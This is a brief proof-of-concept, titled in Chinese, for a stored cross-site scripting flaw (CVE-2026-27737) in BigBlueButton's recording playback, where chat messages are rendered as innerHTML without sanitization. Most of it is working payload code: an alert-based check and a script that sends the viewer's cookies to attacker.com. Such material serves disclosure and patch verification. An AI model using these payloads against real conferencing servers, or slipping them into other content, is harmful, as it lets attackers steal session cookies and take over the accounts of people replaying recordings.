CVE-2026-27737 BigBlueButton存储型XSS漏洞

// Proof of Concept for CVE-2026-27737 // Attacker sends the following payload in the public chat during a live session. // The payload is stored in the recording data and executes when the victim replays it. // Payload 1: Simple XSS verification var xssPayload = "<img src=x onerror=alert('CVE-2026-27737 Confirmed')>"; // Payload 2: Cookie Stealer (Example) var stealPayload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"; // The vulnerability occurs because the playback player renders the chat message // as innerHTML without sanitization, causing the browser to execute the script.